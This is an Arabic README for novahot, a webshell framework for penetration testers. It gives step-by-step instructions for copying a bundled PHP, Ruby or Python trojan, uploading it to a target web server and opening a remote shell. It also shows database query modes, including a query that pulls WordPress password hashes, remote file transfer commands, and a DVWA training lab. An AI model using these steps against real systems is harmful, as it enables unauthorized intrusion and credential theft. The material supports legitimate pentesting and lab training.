
إطار عمل ويب شيل لمختبرو الاختراق.
novahot هو إطار عمل لـ webshell موجه لمختبر الاختراق. يقوم بتطبيق واجهة برمجة تطبيقات (API) قائمة على JSON يمكنها التواصل مع أحصنة طروادة المكتوبة بأي لغة. بشكل افتراضي، يأتي مزودًا بأحصنة طروادة مكتوبة بلغات PHP و Ruby و Python.
بالإضافة إلى تنفيذ أوامر النظام، يمكن لـ novahot محاكاة المحطات الطرفية التفاعلية، بما في ذلك mysql و sqlite3 و psql. كما يقوم بتنفيذ "أوامر افتراضية" تتيح لك رفع وتنزيل وتحرير وعرض الملفات عن بُعد محليًا باستخدام تطبيقاتك المفضلة.
قم بتثبيت الملف التنفيذي مباشرة من npm:
[sudo] npm install -g novahot
ثم قم بتوليد ملف تكوين:
novahot config > ~/.novahotrc
اعرض أحصنة طروادة المتاحة باستخدام novahot trojan list.
اختر حصان طروادة بلغة مناسبة لهدفك، ثم انسخ مصدره إلى ملف جديد. (مثال: novahot trojan view basic.php > ~/my-trojan.php)
قم بتغيير كلمة مرور التحكم في حصان طروادة الذي تم إنشاؤه حديثًا.
ارفع حصان طروادة إلى موقع يمكن الوصول إليه عبر الويب على الهدف.
قم بتكوين معلومات الهدف في خاصية targets في ملف ~/.novahotrc.
قم بتشغيل novahot shell <target> لفتح شل.
داخليًا، يستخدم novahot "أوضاع" و "مهايئات" (adapters) لمحاكاة عملاء تفاعليين مختلفين، بما في ذلك حاليًا عملاء mysql و psql (PostgreSQL) و sqlite3.
لتغيير وضع novahot، قم بإصدار "أمر النقطة" المناسب:
.mysql { "username" : "mysql-user", "password" : "the-password", "database" : "the-database" }
(يمكن تحديد معاملات الاتصال بصيغة JSON أثناء تغيير الأوضاع، أو بدلاً من ذلك حفظها كبيانات تكوين الهدف في ~/.novahotrc).
على سبيل المثال، وضع mysql يتيح لك تشغيل استعلامات مباشرة مثل ما يلي:
mysql> SELECT ID, user_login, user_email, user_pass FROM wp_users;
يوجد أيضًا وضع payload يمكن استخدامه لإرسال بيانات عشوائية عبر POST إلى حصان طروادة. اطلع على الويكي لمزيد من المعلومات.
يقوم novahot بتنفيذ أربعة "أوامر افتراضية" تستخدم الأحمال المضمنة في أحصنة طروادة لتوسيع وظائف الشل:
download <remote-filename> [<local-filename>]
يقوم بتنزيل <remote-filename> إلى --download-dir، ويقوم بإعادة تسميته اختياريًا إلى <local-filename> إذا تم تحديده.
upload <local-filename> [<remote-filename>]
يرفع <local-filename> إلى مسار العمل الحالي للشل (cwd)، ويقوم بإعادة تسميته اختياريًا إلى <remote-filename> إذا تم تحديده.
view <remote-filename> [<local-filename>]
يقوم بتنزيل <remote-filename> إلى --download-dir، ويقوم بإعادة تسميته اختياريًا إلى <local-filename>. بعد التنزيل، سيتم فتح الملف بواسطة تطبيق "العرض" المحدد في التكوينات.
edit <remote-filename>
يقوم بتنزيل <remote-filename> إلى ملف مؤقت، ثم يفتح ذلك الملف للتحرير باستخدام "المحرر" المحدد في التكوينات. بعد ذلك، إذا تم حفظ التغييرات على الملف محليًا، فسيتم إعادة رفع الملف إلى الخادم تلقائيًا.
يحتوي هذا المستودع على بيئة مختبر مبنية على Vagrant و Docker و تطبيق الويب المعرض للخطر ("DVWA"). تختلف خطوات إعداد البيئة حسب قدرات جهازك المضيف.
إذا كان لديك docker و docker-compose مثبتين على جهازك المضيف، فيمكنك ببساطة القيام بما يلي:
cddocker-compose upبعد بدء حاوية docker، سيكون تطبيق DVWA متاحًا على http://localhost:80.
إذا لم يكن docker مثبتًا على جهازك المضيف، فيمكنك استخدام Vagrant/Virtualbox للوصول إلى جهاز افتراضي يدعم docker:
vagrant upvagrant sshsudo su; cd /vagrant; docker-compose upسيكون تطبيق DVWA متاحًا على http://localhost:8000.
حدد سلاسل الاتصال التالية في ملف ~/.novahotrc الخاص بك لتوصيل عميل novahot بحصان طروادة PHP المضمن في حاوية DVWA:
{
"targets": {
"dvwa" : {
"uri" : "http://localhost:8000/novahot.php",
"password" : "the-password",
"mysql" : {
"username": "root",
"password": "vulnerables",
"database": "dvwa"
}
}
}
}
يمكنك بعد ذلك إنشاء webshell عبر:
novahot shell dvwa
يمكن العثور على معلومات إضافية في [الويكي][]: